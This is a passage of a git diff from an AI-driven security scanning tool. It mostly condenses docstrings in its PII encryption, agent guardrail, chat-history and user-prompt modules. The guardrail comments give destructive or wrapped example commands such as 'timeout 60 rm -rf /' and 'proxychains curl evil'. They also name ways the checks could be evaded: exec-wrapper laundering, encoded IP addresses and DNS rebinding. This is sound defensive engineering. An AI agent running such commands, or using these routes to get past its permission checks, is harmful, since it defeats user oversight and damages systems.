secator/ai/prompts.py | 73 ++--------- secator/ai/session.py | 108 ++++------------ secator/ai/tools.py | 43 ++----- secator/tasks/ai.py | 240 +++++++++++----------------------- secator/tasks/command.py | 62 +++------ 9 files changed, 259 insertions(+), 833 deletions(-) diff --git a/secator/ai/encryption.py b/secator/ai/encryption.py index 4aa3ed3f0..e81a0faa6 100644 --- a/secator/ai/encryption.py +++ b/secator/ai/encryption.py @@ -27,12 +27,8 @@ def _is_hash_filename(hostname: str) -> bool: - """Return True if the matched hostname looks like a hash filename rather than a real host. - - Prevents false-positive encryption of paths like: - fefdc75b8092569ffdaaf5c91522f10d063a93d2.txt (SHA-1 hash from httpx) - d41d8cd98f00b204e9800998ecf8427e.json (MD5 hash) - """ + """Return True if hostname looks like a hash filename (e.g. sha1.txt, + md5.json) rather than a real host, to avoid false-positive PII encryption.""" dot_idx = hostname.rfind('.') if dot_idx < 0: return False @@ -51,31 +47,16 @@ def maybe_encrypt(text, encryptor): class SensitiveDataEncryptor: - """Encrypt sensitive data using SHA-256 hashing with salt. - - This class provides reversible encryption of sensitive data (PII) in text - by replacing matches with hashed placeholders. The original values can be - restored using the decrypt method. - - Attributes: - salt: Salt string used for hashing to ensure unique placeholders. - pii_map: Mapping of placeholders to original values. - hash_map: Mapping of bare hashes to original values. - custom_patterns: List of compiled regex patterns for custom PII types. - """ + """Reversibly "encrypt" PII in text via salted SHA-256-hashed placeholders, + restorable with decrypt().""" def __init__( self, salt: str = "secator_pii_salt", custom_patterns: Optional[List[str]] = None ) -> None: - """Initialize the encryptor with optional salt and custom patterns. - - Args: - salt: Salt string used for hashing. Defaults to "secator_pii_salt". - custom_patterns: Optional list of regex patterns or literal strings - to match as custom PII types. Lines starting with '#' are ignored. - """ + """Initialize with optional salt and custom_patterns (regex or literal + strings; '#'-prefixed entries are ignored).""" self.salt = salt self.pii_map: Dict[str, str] = {} # placeholder -> original self.hash_map: Dict[str, str] = {} # bare hash -> original diff --git a/secator/ai/guardrails.py b/secator/ai/guardrails.py index 447570842..2efb9add2 100644 --- a/secator/ai/guardrails.py +++ b/secator/ai/guardrails.py @@ -35,10 +35,8 @@ "wget": frozenset({"-O", "--output-document"}), } -# Exec-wrappers run a *different* command passed as args (`timeout 60 rm -rf /`), -# so we peel the wrapper and check the INNER command, not the allow-listed name (C2). -# M11: any wrapper NOT peeled reopens the C2 laundering class (`proxychains curl evil`, -# `firejail rm -rf /`, `flock /tmp/x curl ...`), so the set is broadened + config-extensible. +# Exec-wrappers run a different inner command (`timeout 60 rm -rf /`) — peel the +# wrapper and check the INNER command, not the allow-listed wrapper name (C2/M11). EXEC_WRAPPERS = frozenset({ "timeout", "xargs", "env", "nice", "ionice", "nohup", "stdbuf", "setsid", "sudo", "doas", "watch", "time", "chroot", "unbuffer", @@ -85,14 +83,7 @@ def _split_cmd_string(s: str) -> List[str]: def parse_rule(rule: str) -> Tuple[str, List[str]]: - """Parse a rule string like 'target(10.0.0.1,example.com)' into (type, patterns). - - Args: - rule: Rule string in format 'type(value1,value2,...)' - - Returns: - Tuple of (rule_type, list_of_patterns) - """ + """Parse a rule string like 'target(10.0.0.1,example.com)' into (type, patterns).""" match = re.match(r'^(\w+)\((.+)\)$', rule) if not match: return ("unknown", [rule]) @@ -107,11 +98,9 @@ def parse_rule(rule: str) -> Tuple[str, List[str]]: def _normalize_ip(candidate: str) -> Optional[IPAddress]: - """M8: normalize encoded IPs (decimal/hex/octal int, dotted-hex/octal, IPv6-mapped) to an ip_address. - - Returns None if the candidate is not an IP (e.g. a hostname) so callers fall back to literal matching. - Hostnames are NOT resolved here (DNS rebinding is a documented residual). - """ + """M8: normalize encoded IPs (decimal/hex/octal int, dotted-hex/octal, IPv6-mapped) so + alternate encodings can't evade IP rules. None for non-IPs (hostnames aren't resolved here; + DNS rebinding is a documented residual).""" s = candidate.strip() if not s: return None @@ -155,23 +144,9 @@ def _ip_in_pattern(ip: IPAddress, pattern: str) -> Optional[bool]: def match_rule(value: str, patterns: List[str]) -> bool: - """Check if a value matches any of the given patterns. - - Supports: - - Exact match - - Wildcard '*' (matches everything) - - Glob patterns (fnmatch) - - {port} variable (matches :\\d+) - - Basename matching for path-like values (e.g. '.env' matches '/home/user/.env') - - M8: IP/CIDR patterns are matched by normalized address (encoded IPs are canonicalized first) - - Args: - value: The value to check - patterns: List of patterns to match against - - Returns: - True if value matches any pattern - """ + """Check if a value matches any pattern: exact, '*', fnmatch glob, '{port}' (:\\d+), + path basename (e.g. '.env' matches '/home/user/.env'), or M8 normalized IP/CIDR + (encoded IPs canonicalized first so alternate encodings can't evade IP rules).""" # M8: normalize encoded IPs before deny/allow match so alternate encodings can't evade IP rules norm_ip = _normalize_ip(value) canon = str(norm_ip) if norm_ip is not None else None @@ -209,10 +184,8 @@ def match_rule(value: str, patterns: List[str]) -> bool: def _is_file_path(value: str) -> bool: - """Check if a value looks like a file path rather than a network target. - - Uses explicit path prefixes and filesystem existence checks. - """ + """Check if a value looks like a file path (vs a network target), via explicit + path prefixes or filesystem existence checks.""" # URLs are not file paths if value.startswith(('http://', 'https://', 'ftp://')): return False @@ -231,10 +204,8 @@ def _is_file_path(value: str) -> bool: def _is_network_target(value: str) -> bool: - """Check if a value looks like a valid network target (IP, hostname, URL, CIDR). - - Filters out descriptive strings that aren't actual targets. - """ + """Check if a value looks like a valid network target (IP, hostname, URL, CIDR), + filtering out descriptive strings that aren't actual targets.""" if ' ' in value.strip(): return False if value.startswith(('http://', 'https://')): @@ -267,16 +238,8 @@ def _resolves(hostname: str) -> bool: def extract_command_targets(command: str) -> List[str]: """Extract target-like values (IPs, hosts, URLs) from a shell command string. - Uses safecmd's parsed sub-command arguments and checks each individually, - which naturally excludes heredoc content, quoted code strings, etc. - Falls back to regex on raw string if parsing fails. - - Args: - command: Shell command string - - Returns: - List of detected target strings - """ + Uses safecmd's parsed sub-command args (naturally excludes heredocs/quoted code + strings); falls back to regex on the raw string if parsing fails.""" targets = [] seen = set() @@ -353,17 +316,9 @@ def _check_arg(arg: str): def _warn_shell_parser_unavailable(reason: str) -> None: - """Warn ONCE that the shfmt-based shell parser is unavailable, then let the - caller fall back to the non-shfmt path (whole-command approval). - - This is deliberately a Warning, not an Error, and it does NOT claim the ai - addon is missing: ``litellm`` (the ai addon) can be installed while the shell - parser — ``safecmd`` + the ``shfmt`` binary it shells out to — is not. Without - it the guardrail can't split a command into sub-commands, so - ``_check_action_type`` falls back to asking the user to approve the whole - command (safe, just coarser). Warn once so a long agent run isn't spammed on - every shell command. - """ + """Warn ONCE that the shfmt-based shell parser is unavailable, so callers fall back + to whole-command approval. A Warning not an Error: ``litellm`` (the ai addon) can be + installed while ``safecmd``/``shfmt`` is not — that just makes guardrails coarser.""" global _SHELL_PARSER_WARNED if _SHELL_PARSER_WARNED: return @@ -378,18 +333,9 @@ def _warn_shell_parser_unavailable(reason: str) -> None: def _parse_subcommands(command: str) -> List[List[str]]: - """Parse a shell command into sub-command token lists via safecmd's parser. - - Uses shfmt (via safecmd) to properly parse pipes, &&, ||, ;, subshells, - and command substitutions. Returns an empty list if parsing fails (caller - should prompt the user to approve the whole command). - - Args: - command: Full shell command string - - Returns: - List of token lists, one per sub-command, or [] if parsing fails. - """ + """Parse a shell command into sub-command token lists via safecmd/shfmt (handles + pipes, &&, ||, ;, subshells, substitutions). Returns [] on parse failure (caller + should prompt the user to approve the whole command).""" try: from safecmd.bashxtract import extract_commands except ImportError: @@ -426,9 +372,7 @@ def _is_wrapper_operand(token: str) -> bool: def _peel_wrapper(args: List[str]) -> List[str]: """Strip leading exec-wrapper binaries to reach the inner command's tokens. - - Bare `env`/`sudo` (no inner command) is returned as-is so it's still checked by name. - """ + Bare `env`/`sudo` (no inner command) is returned as-is, still checked by name.""" wrappers = _exec_wrappers() tokens = args for _ in range(len(args)): # bounded peels (guards against pathological nesting) @@ -475,13 +419,8 @@ def _match_command_glob(command: str, pattern: str) -> bool: def _resolve_path(path: str, cwd: str = "") -> str: - """Resolve a path to absolute for consistent rule matching. - - Args: - path: The path to resolve - cwd: Effective working directory (from cd commands in the shell chain). - If empty, uses the real CWD. - """ + """Resolve a path to absolute for consistent rule matching. `cwd` is the effective + working directory tracked from `cd` in the shell chain; empty uses the real CWD.""" from pathlib import Path try: p = Path(path).expanduser() @@ -493,18 +432,9 @@ def _resolve_path(path: str, cwd: str = "") -> str: def detect_paths_with_access(command: str) -> List[Tuple[str, str]]: - """Extract file paths with access type from a shell command string. - - Uses safecmd's bash parser (shfmt) for proper argument splitting. - Redirects (>, >>, 2>) are always classified as 'write'. - Other paths are classified based on the sub-command's classification. - - Args: - command: Shell command string - - Returns: - List of (resolved_path, access_type) tuples where access_type is 'read' or 'write' - """ + """Extract (resolved_path, access_type) tuples from a shell command via safecmd's + bash parser. Redirects (>, >>, 2>) are always 'write'; other paths take the + access type of their sub-command's classification.""" seen = set() paths = [] effective_cwd = "" # tracks cd commands in the shell chain @@ -606,16 +536,8 @@ def _extract_docker_volumes(args: List[str]): def detect_paths(command: str) -> List[str]: - """Extract file paths from a shell command string. - - Handles compound commands (&&, ||, ;, |) by splitting first. - - Args: - command: Shell command string - - Returns: - List of detected file paths - """ + """Extract file paths from a shell command string, splitting compound commands + (&&, ||, ;, |) first.""" return [path for path, _ in detect_paths_with_access(command)] @@ -626,26 +548,13 @@ def detect_paths(command: str) -> List[str]: def detect_sensitive_env_vars(command: str) -> List[str]: - """Detect references to sensitive environment variables in a command. - - Matches $VAR and ${VAR} patterns where the variable name contains - KEY, SECRET, TOKEN, PASSWORD, PASSWD, CREDENTIAL, or AUTH. - - Returns: - List of matched variable names (e.g. ['ANTHROPIC_API_KEY']) - """ + """Detect $VAR / ${VAR} references whose name contains KEY, SECRET, TOKEN, PASSWORD, + PASSWD, CREDENTIAL, or AUTH; returns the matched variable names.""" return list(set(SENSITIVE_ENV_PATTERNS.findall(command))) def classify_command(cmd_name: str) -> str: - """Classify a command as read, write, execute, or other. - - Args: - cmd_name: The command name (first token) - - Returns: - One of: 'read', 'write', 'execute', 'other' - """ + """Classify a command name as one of: 'read', 'write', 'execute', 'other'.""" base = cmd_name.rsplit('/', 1)[-1] if base in READ_COMMANDS: return "read" @@ -657,14 +566,8 @@ def classify_command(cmd_name: str) -> str: def build_target_choices(target: str) -> List[Dict]: - """Build multi-select choices for an unknown target. - - Args: - target: The target string (IP, host, domain, or URL) - - Returns: - List of choice dicts with label, rules, selected keys - """ + """Build multi-select choices (label/rules/selected dicts) for an unknown target + (IP, host, domain, or URL).""" from urllib.parse import urlparse # Detect if target is a URL and extract components @@ -782,11 +685,8 @@ def __init__( self.rules = {"allow": [], "deny": [], "ask": []} self.runtime_allow: List[Tuple[str, List[str]]] = [] - # Platform-supplied allow-list of target regexes (e.g. validated workspace - # mandates). When set, a `target(...)` action is allowed only if it matches - # one of these regexes — this constrains the AI to the authorized scope. - # Each entry is matched as a regex (full-match), falling back to a literal - # match if the pattern is not valid regex. + # Platform-supplied allow-list of target regexes (e.g. validated workspace mandates): + # constrains the AI to this scope. Regex full-match, falls back to literal match. self.allowed_targets: List = [] for pat in (allowed_targets or []): if not pat: @@ -796,11 +696,8 @@ def __init__( except re.error: self.allowed_targets.append(re.compile(re.escape(pat))) - # Platform-supplied deny-list of target regexes (e.g. the `deny` scope of - # validated workspace mandates). Symmetric to allowed_targets but DENY WINS: - # a `target(...)` matching one of these is denied even if it also matches an - # allowed_targets entry — mirroring the mandate scope matcher's deny-wins. - # Same regex-or-literal compilation as allowed_targets. + # Platform-supplied deny-list of target regexes (mandate `deny` scope). Symmetric + # to allowed_targets but DENY WINS, mirroring the mandate scope matcher. self.denied_targets: List = [] for pat in (denied_targets or []): if not pat: @@ -915,9 +812,7 @@ def check_action(self, action: Dict) -> PermissionResult: def _has_rules_for(self, rule_type: str) -> bool: """Check if any rules exist for the given rule type.""" - # Platform-supplied allowed_targets / denied_targets act as a target - # allow/deny-list: their presence forces the target-check step to run so - # out-of-scope targets get constrained and denied targets get blocked. + # allowed_targets/denied_targets force the target-check step so out-of-scope/denied targets are caught. if rule_type == "target" and (self.allowed_targets or self.denied_targets): return True for category in ("allow", "deny", "ask"): @@ -927,13 +822,9 @@ def _has_rules_for(self, rule_type: str) -> bool: return any(rt == rule_type for rt, _ in self.runtime_allow) def _check_action_type(self, action_type: str, action: Dict) -> PermissionResult: - """Check if the action type is allowed/denied/ask. - - For shell commands, uses safecmd's bash parser (shfmt) to extract - sub-commands from pipes, &&, ||, ;, and subshells. When parsing fails - (e.g. unbalanced quotes from LLM), prompts the user for the whole command. - Returns the most restrictive result (deny > ask > allow). - """ + """Check if the action type is allowed/denied/ask. For shell, splits sub-commands via + safecmd/shfmt and returns the most restrictive result (deny > ask > allow); a parse + failure (e.g. unbalanced quotes) prompts for the whole command.""" if action_type == "shell": command = action.get("command", "") if not command.strip(): @@ -1008,11 +899,8 @@ def _match_shell_command_deny(self, tokens: List[str]) -> str: return "" def _check_value(self, rule_type: str, value: str) -> PermissionResult: - """Check a single value. Order: deny > allow > ask > deny. - - For target rules, URL values are also checked by their host and host:port - components so that approving 'example.com:8080' covers all URLs under it. - """ + """Check a single value. Order: deny > allow > ask > deny. For target rules, URL + values are also checked by host and host:port so 'example.com:8080' covers all its URLs.""" # Build list of values to check (original + URL components for targets) values_to_check = [value] if rule_type == "target" and value.startswith(('http://', 'https://')): @@ -1104,16 +992,8 @@ def add_runtime_allow(self, rules: List[str]) -> None: self.runtime_allow.append((rule_type, patterns)) def prompt_target(self, target: str, interactive: bool = True, command: str = "") -> str: - """Show interactive prompt for an unknown target. - - Args: - target: The target string that needs approval - interactive: If False, auto-deny without prompting - command: The shell command triggering this prompt (for display) - - Returns: - 'allow' or 'deny' - """ + """Show interactive prompt for an unknown target; returns 'allow' or 'deny'. + `interactive=False` auto-denies without prompting.""" if not interactive: return "deny" @@ -1139,17 +1019,8 @@ def prompt_target(self, target: str, interactive: bool = True, command: str = "" return "allow" def prompt_path(self, path: str, access_type: str = "read", interactive: bool = True, command: str = "") -> str: - """Show interactive prompt for a path access request. - - Args: - path: The file path that needs approval - access_type: 'read' or 'write' - interactive: If False, auto-deny without prompting - command: The shell command triggering this prompt (for display) - - Returns: - 'allow' or 'deny' - """ + """Show interactive prompt for a path access request (read/write); returns 'allow' + or 'deny'. `interactive=False` auto-denies without prompting.""" if not interactive: return "deny" @@ -1181,16 +1052,8 @@ def prompt_path(self, path: str, access_type: str = "read", interactive: bool = return "allow" def prompt_shell(self, command: str, reason: str = "", interactive: bool = True) -> str: - """Show interactive prompt for a shell command that needs approval. - - Args: - command: The full shell command to approve - reason: Why approval is needed - interactive: If False, auto-deny without prompting - - Returns: - 'allow' or 'deny' - """ + """Show interactive prompt for a shell command that needs approval; returns 'allow' + or 'deny'. `interactive=False` auto-denies without prompting.""" if not interactive: return "deny" @@ -1229,16 +1092,8 @@ def prompt_shell(self, command: str, reason: str = "", interactive: bool = True) return "deny" def _show_target_menu(self, target: str, choices: List[Dict], command: str = "") -> List[int]: - """Show interactive menu. Separated for testability. - - Args: - target: The target being prompted about - choices: List of choice dicts from build_target_choices - command: The shell command triggering this prompt (for display) - - Returns: - List of selected indices, or None if cancelled - """ + """Show interactive menu (separated for testability); returns selected indices, + or None if cancelled.""" from secator.rich import InteractiveMenu options = [{"label": choice["label"]} for choice in choices] diff --git a/secator/ai/history.py b/secator/ai/history.py index de08abdb5..8c3b32cdd 100644 --- a/secator/ai/history.py +++ b/secator/ai/history.py @@ -13,10 +13,8 @@ COMPACTION_THRESHOLD_PCT = 85 # Trigger compaction at 85% of usable context MAX_ACTION_TOKENS = 10_000 # Hard cap per action result -# Hard cap on a persisted transcript message's content / tool-call arguments. -# A `_type:"ai"` doc must stay far below Mongo's 16MB BSON limit; tool-result -# content is already token-bounded upstream (truncate_to_tokens), so this is a -# backstop for a pathological envelope, not primary truncation. +# Hard cap on a persisted transcript message (BSON-safety backstop, well under +# Mongo's 16MB doc limit) -- not primary truncation, which happens upstream via truncate_to_tokens. MAX_PERSISTED_MESSAGE_CHARS = 12000 @@ -43,14 +41,8 @@ def cap_message(msg: dict, max_chars: int = MAX_PERSISTED_MESSAGE_CHARS) -> dict def get_context_window(model: str) -> int: - """Get model's context window size from litellm. - - Args: - model: LLM model name - - Returns: - Context window size in tokens (falls back to CONFIG.addons.ai.context_window on error or empty info) - """ + """Get model's context window size from litellm; falls back to + CONFIG.addons.ai.context_window on error or empty info.""" from secator.config import CONFIG import litellm try: @@ -78,19 +70,8 @@ def truncate_to_tokens( output_dir: Path = None, result_name: str = "result" ) -> str: - """Truncate content to fit within token budget, with file fallback. - - Args: - content: Content to truncate - max_tokens: Maximum tokens allowed - model: LLM model name for token counting - fallback_path: Existing file to reference (task/workflow report.json) - output_dir: Directory to save shell output (creates file) - result_name: Prefix for saved filename - - Returns: - Original content if under budget, or truncated with [TRUNCATED] marker - """ + """Truncate content to fit within max_tokens; if over budget, save/reference + the full output to a file and append a [TRUNCATED] marker + hint.""" import litellm current = litellm.token_counter(model=model, text=content) if current <= max_tokens: @@ -141,14 +122,8 @@ def truncate_to_tokens( @dataclass class ChatHistory: - """Manages chat history in litellm message format. - - This is a thin wrapper around a list of message dicts that can be - passed directly to litellm.completion(). - - Attributes: - messages: List of message dicts with 'role' and 'content' keys - """ + """Manages chat history in litellm message format -- a thin wrapper around + a list of message dicts passable directly to litellm.completion().""" messages: List[Dict[str, str]] = field(default_factory=list) model: Optional[str] = None @@ -164,10 +139,8 @@ def add_system(self, content: str) -> None: self.messages.append({"role": "system", "content": content}) def set_system(self, content: str) -> None: - """Replace the first system message, or insert one at the start. - - Invalidates any cached token count for the system message. - """ + """Replace the first system message (or insert one at the start); + invalidates its cached token count.""" for msg in self.messages: if msg["role"] == "system": msg["content"] = content @@ -183,25 +156,15 @@ def add_assistant(self, content: str) -> None: self.messages.append({"role": "assistant", "content": content}) def add_assistant_with_tool_calls(self, content: Optional[str], tool_calls: list) -> None: - """Add an assistant message that includes tool calls. - - Args: - content: Optional text content (None when LLM returns only tool calls) - tool_calls: List of tool call dicts from the LLM response - """ + """Add an assistant message with tool calls; content is None when the + LLM returns only tool calls.""" msg = {"role": "assistant", "tool_calls": tool_calls} if content is not None: msg["content"] = content self.messages.append(msg) def add_tool_result(self, name: str, tool_call_id: str, content: str) -> None: - """Add a tool result message. - - Args: - name: Function name - tool_call_id: ID of the tool call this result responds to - content: The tool's output content - """ + """Add a tool result message keyed by tool_call_id (the call this responds to).""" msg = {"role": "tool", "tool_call_id": tool_call_id, "name": name, "content": content} if name: msg["name"] = name @@ -211,14 +174,9 @@ def add_tool(self, content: str) -> None: self.messages.append({"role": "tool", "content": content}) def to_messages(self, max_tokens_total: int = 0) -> List[Dict[str, str]]: - """Return a copy of the messages list, trimming if over the effective budget. - - Uses litellm's trim_messages which preserves system messages and recent - context while removing oldest messages first. - - Args: - max_tokens_total: Requested hard token limit (0 = no explicit cap). - """ + """Return a copy of messages, trimmed to the effective budget if needed + (oldest dropped first, system/recent context preserved); max_tokens_total=0 + means no explicit cap.""" budget = self._trim_budget(max_tokens_total) if budget > 0: return self.trim(budget) @@ -227,11 +185,11 @@ def to_messages(self, max_tokens_total: int = 0) -> List[Dict[str, str]]: def _trim_budget(self, max_tokens_total: int = 0) -> int: """Effective trim budget, capped to the model's real context window. - M3: a flat max_tokens_total (e.g. 100k) ignores the model window and - fails with context_length_exceeded on smaller-window models. Cap it to - get_context_window(model) - OUTPUT_TOKEN_RESERVATION (headroom for the - response), and use that window-derived budget even when no explicit cap - is set. With no model known, keep the legacy caller-driven behavior. + M3: a flat max_tokens_total ignores the model window and can fail with + context_length_exceeded on smaller models, so cap to + get_context_window(model) - OUTPUT_TOKEN_RESERVATION and use it even + with no explicit cap. Falls back to legacy caller-driven behavior if no + model is known. """ if not self.model: return max_tokens_total @@ -241,28 +199,18 @@ def _trim_budget(self, max_tokens_total: int = 0) -> int: return window_budget def trim(self, max_tokens: int) -> List[Dict[str, str]]: - """Trim messages to fit under max_tokens using litellm's trim_messages. - - Preserves system messages and recent context, removing oldest messages first. - Also attempts to shorten individual messages before dropping them entirely. - - Args: - max_tokens: Maximum token limit for the messages. - - Returns: - Trimmed list of messages. - """ + """Trim messages to max_tokens via litellm's trim_messages: preserves + system/recent context, drops oldest first, shortens individual messages + before dropping them.""" from litellm.utils import trim_messages from secator.ai.utils import _strip_leading_orphan_tools from secator.rich import console from secator.output_types import Warning original_count = len(self.messages) - # litellm's trim_messages shortens an over-budget message via len(msg["content"]), - # which raises TypeError when an assistant turn carries only tool_calls (content=None - # or the key absent). Coerce such content to "" for trimming — equivalent for the LLM, - # safe for len(). Wrap the call so any trimmer bug degrades to untrimmed history - # (handled downstream by the context_length_exceeded 400-repair) instead of crashing. + # litellm's trim_messages does len(msg["content"]), which raises TypeError when an + # assistant turn carries only tool_calls (content=None/absent) -- coerce to "" first. + # Wrap the call so a trimmer bug degrades to untrimmed history instead of crashing. sanitized = [dict(m, content="") if m.get("content") is None else m for m in self.messages] try: trimmed = trim_messages(sanitized, max_tokens=max_tokens) @@ -291,17 +239,8 @@ def clear(self) -> None: self.messages = [] def count_tokens(self, model: str = None) -> int: - """Count tokens using litellm, with per-message caching. - - Args: - model: LLM model name (required if self.model not set) - - Returns: - Total token count across all messages - - Raises: - ValueError: If no model provided and self.model not set - """ + """Count tokens using litellm with per-message caching; raises ValueError + if no model is set/passed.""" import litellm model = model or self.model if not model: @@ -326,17 +265,8 @@ def count_tokens(self, model: str = None) -> int: return total def count_tokens_by_role(self, model: str = None) -> Dict[str, int]: - """Count tokens per message role, reusing per-message cache. - - Calls count_tokens() first to ensure cache is populated, - then aggregates by role. - - Args: - model: LLM model name (required if self.model not set) - - Returns: - Dict mapping role to token count, plus 'total' key - """ + """Count tokens per message role (via count_tokens()'s cache); returns a + dict by role plus a 'total' key.""" self.count_tokens(model) by_role: Dict[str, int] = {} for msg in self.messages: @@ -346,14 +276,7 @@ def count_tokens_by_role(self, model: str = None) -> Dict[str, int]: return by_role def get_available_tokens(self, model: str) -> int: - """Return tokens available for new content. - - Args: - model: LLM model name - - Returns: - Available tokens (context - reservation - used) - """ + """Return tokens available for new content: context window - reservation - used.""" context_window = get_context_window(model) usable = context_window - OUTPUT_TOKEN_RESERVATION used = self.count_tokens(model) @@ -365,15 +288,8 @@ def get_available_tokens(self, model: str) -> int: return available def should_compact(self, model: str, threshold_pct: int = COMPACTION_THRESHOLD_PCT) -> bool: - """Check if compaction needed based on % of context used. - - Args: - model: LLM model name - threshold_pct: Percentage threshold (default 85) - - Returns: - True if compaction needed - """ + """Return True if compaction is needed: used tokens exceed threshold_pct + of usable context (default 85%).""" context_window = get_context_window(model) usable = context_window - OUTPUT_TOKEN_RESERVATION used = self.count_tokens(model) @@ -388,19 +304,8 @@ def should_compact(self, model: str, threshold_pct: int = COMPACTION_THRESHOLD_P def maybe_summarize(self, model: str, api_base: Optional[str] = None, api_key: Optional[str] = None) -> Tuple[bool, int, int]: - """Summarize history if token usage exceeds percentage threshold. - - Uses should_compact() to determine if compaction is needed based on - percentage of usable context (default 85%). - - Args: - model: LLM model name - api_base: Optional API base URL - api_key: Optional API key - - Returns: - tuple: (compacted, old_tokens, new_tokens) - """ + """Summarize history if should_compact() says usage exceeds threshold; + returns (compacted, old_tokens, new_tokens).""" old_tokens = self.count_tokens(model) if not self.should_compact(model): debug('skipping compaction: not needed', sub='runner.ai.context') @@ -414,15 +319,8 @@ def maybe_summarize(self, model: str, api_base: Optional[str] = None, def compact(self, model: str, api_base: Optional[str] = None, api_key: Optional[str] = None, keep_last: int = 4) -> None: - """Summarize non-system messages using an LLM, keeping the initial system prompt - and the last few messages intact so the LLM retains recent context. - - Args: - model: LLM model name - api_base: Optional API base URL - api_key: Optional API key - keep_last: Number of recent non-system messages to preserve (default 4) - """ + """Summarize non-system messages via an LLM, keeping the system prompt and + the last keep_last messages intact for recent context.""" if len(self.messages) <= 2: return @@ -494,18 +392,8 @@ def compact(self, model: str, api_base: Optional[str] = None, self.messages.extend(to_keep) def get_action_budget(self, model: str) -> int: - """Get max tokens allowed for a single action's combined output. - - Returns the smaller of: - - MAX_ACTION_TOKENS (10k hard cap) - - 50% of available context - - Args: - model: LLM model name - - Returns: - Token budget for action result - """ + """Get max tokens for a single action's output: the smaller of + MAX_ACTION_TOKENS and 50% of available context.""" available = self.get_available_tokens(model) budget = min(MAX_ACTION_TOKENS, available // 2) debug( diff --git a/secator/ai/interactivity.py b/secator/ai/interactivity.py index f1f9aa417..f7b82a80d 100644 --- a/secator/ai/interactivity.py +++ b/secator/ai/interactivity.py @@ -1,9 +1,5 @@ -"""Interactivity backends for AI task user interaction. - -All user prompting (permission requests and follow-up questions) flows through -backend.ask_user(). Callers never branch on interactive mode — the backend -handles the UX differences. -""" +"""Interactivity backends for AI task user interaction: all prompting flows +through backend.ask_user() so callers never branch on interactive mode.""" import time from time import sleep @@ -17,19 +13,8 @@ class InteractivityBackend: def ask_user(self, question: str, choices: List[str], session_id: str, prompt_type: str = "follow_up", **context) -> Optional[Dict]: - """Ask the user a question. - - Args: - question: The question to ask. - choices: List of choice strings. - session_id: Session ID for correlating request/response. - prompt_type: "follow_up" or "permission". - **context: Backend-specific context (engine, history, etc.). - - Returns: - dict with at least {"answer": str}, or None (exit/timeout/deny). - For follow_up: may also include "extra_iters" and "switch_mode". - """ + """Ask the user a question; returns {"answer": str} (+ optional "extra_iters"/ + "switch_mode" for follow_up), or None on exit/timeout/deny.""" raise NotImplementedError def get_excluded_tools(self) -> set: @@ -99,14 +84,9 @@ def get_excluded_tools(self) -> set: return {"stop"} def build_pending_prompt(self, question, choices, session_id, prompt_type="follow_up", **context): - """Build a pending Ai finding for the remote user to see and answer. - - The caller must yield this item so it gets stored in the workspace - (via runner hooks) before calling ask_user(), which will poll for the answer. - - ``prompt_uuid`` (from context) is stamped into ``extra_data`` so the poll - can match THIS exact prompt, not a stale earlier answer (H7). - """ + """Build a pending Ai finding for the caller to yield (persists it before + ask_user() polls for the answer). ``prompt_uuid`` is stamped into + ``extra_data`` so the poll matches THIS prompt, not a stale one (H7).""" from secator.output_types import Ai extra_data = { "permission_type": context.get("permission_type", ""), @@ -154,16 +134,12 @@ def ask_user(self, question, choices, session_id, prompt_type="follow_up", **con def poll_steers(self, session_id): """Drain pending steer docs for ``session_id`` and mark them consumed. - A "steer" is a mid-flight user message: it's written into the channel - (``_type:"ai"``, ``ai_type:"steer"``, ``status:"pending"``) WHILE the agent - is running, and the worker picks it up at the next loop checkpoint to - redirect the next turn. This is distinct from a follow-up ``answer`` (which - the worker is *blocked* waiting on) and from a hard Stop (which revokes the - Celery task). - - Returns a list of steer content strings (oldest-first). Each returned doc is - flipped to ``status:"consumed"`` so it's injected exactly once. Robust by - design: any backend error returns ``[]`` so a steer can never crash the run. + A "steer" is a mid-flight user message written to the channel while the + agent runs; the worker picks it up at the next checkpoint to redirect -- + distinct from a blocking follow-up ``answer`` or a hard Stop. Returns + content strings oldest-first, flipping each doc to ``consumed`` so it's + injected exactly once; any backend error returns ``[]`` (a steer must + never crash the run). """ if self.query_engine is None: return [] @@ -201,22 +177,11 @@ def poll_steers(self, session_id): def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): """Poll the DB for the answer to THIS specific prompt until timeout. - The query MUST be scoped to the exact prompt the worker is currently - blocked on — identified by ``prompt_uuid`` (stamped into the pending doc's - ``extra_data.prompt_uuid`` before it was persisted). Matching only on - ``{session_id, status:"answered"}`` is a bug: a multi-turn conversation - accumulates *previously* answered follow-up docs, so an unscoped query - returns a STALE answer immediately, the worker re-injects that old answer - as a brand-new prompt, re-runs the whole turn, asks again, re-matches the - same stale doc — an infinite respawn loop that re-runs scans and burns - tokens. Scoping on ``prompt_uuid`` makes the poll resolve only THIS - prompt's own answer (and time out only THIS prompt's doc). - - A steer (mid-flight user message) breaks the wait: if a pending steer - arrives for this session while we're blocked on a follow-up, we return its - content as the "answer" so the loop redirects immediately instead of - stalling until the follow-up is explicitly answered (or times out). This - keeps follow-up semantics intact for the no-steer case. + Scoped by ``prompt_uuid`` (not just session_id+status:"answered"): an + unscoped query would match a stale previously-answered doc from an earlier + turn, causing an infinite re-injection/respawn loop that re-runs scans and + burns tokens. A pending steer for this session breaks the wait early and is + returned as the answer, so the loop redirects immediately instead of stalling. """ base = { "_type": "ai", @@ -246,10 +211,9 @@ def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): answer = self._resolve_answer(answered_query) if answer is not None: return answer - # Timeout: atomically flip ONLY a doc that is STILL pending, so a - # concurrent/older pending doc for the same session isn't disturbed. - # If the answer landed in the race window the doc is already 'answered' - # and this no-ops (modified == 0) — re-read rather than abandon it (M10). + # Timeout: atomically flip ONLY a doc that is STILL pending, so a concurrent + # older pending doc isn't disturbed. If the answer landed in the race window + # the doc is already 'answered' and this no-ops -- re-read rather than abandon it (M10). modified = self.query_engine.update( {**base, "status": "pending"}, {"$set": {"status": "timed_out"}} @@ -261,11 +225,8 @@ def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): return None def _resolve_answer(self, answered_query): - """Return the newest answered doc's answer, or None if none answered. - - Resolving against the newest by ``_timestamp`` is a backstop against - stale answers. - """ + """Return the newest answered doc's answer (by ``_timestamp``, a backstop + against stale answers), or None if none answered.""" results = self.query_engine.search(answered_query) if not results: return None @@ -275,11 +236,10 @@ def _resolve_answer(self, answered_query): def _expire_stale_pending(self, session_id): """Mark any older still-pending prompt for this session as timed_out. - Called when a NEW prompt starts (before it is persisted), so it only - affects prior prompts. Stops stale 'pending' docs from accumulating — - a worker that dies mid-poll otherwise leaves the UI 'thinking' forever - and lets 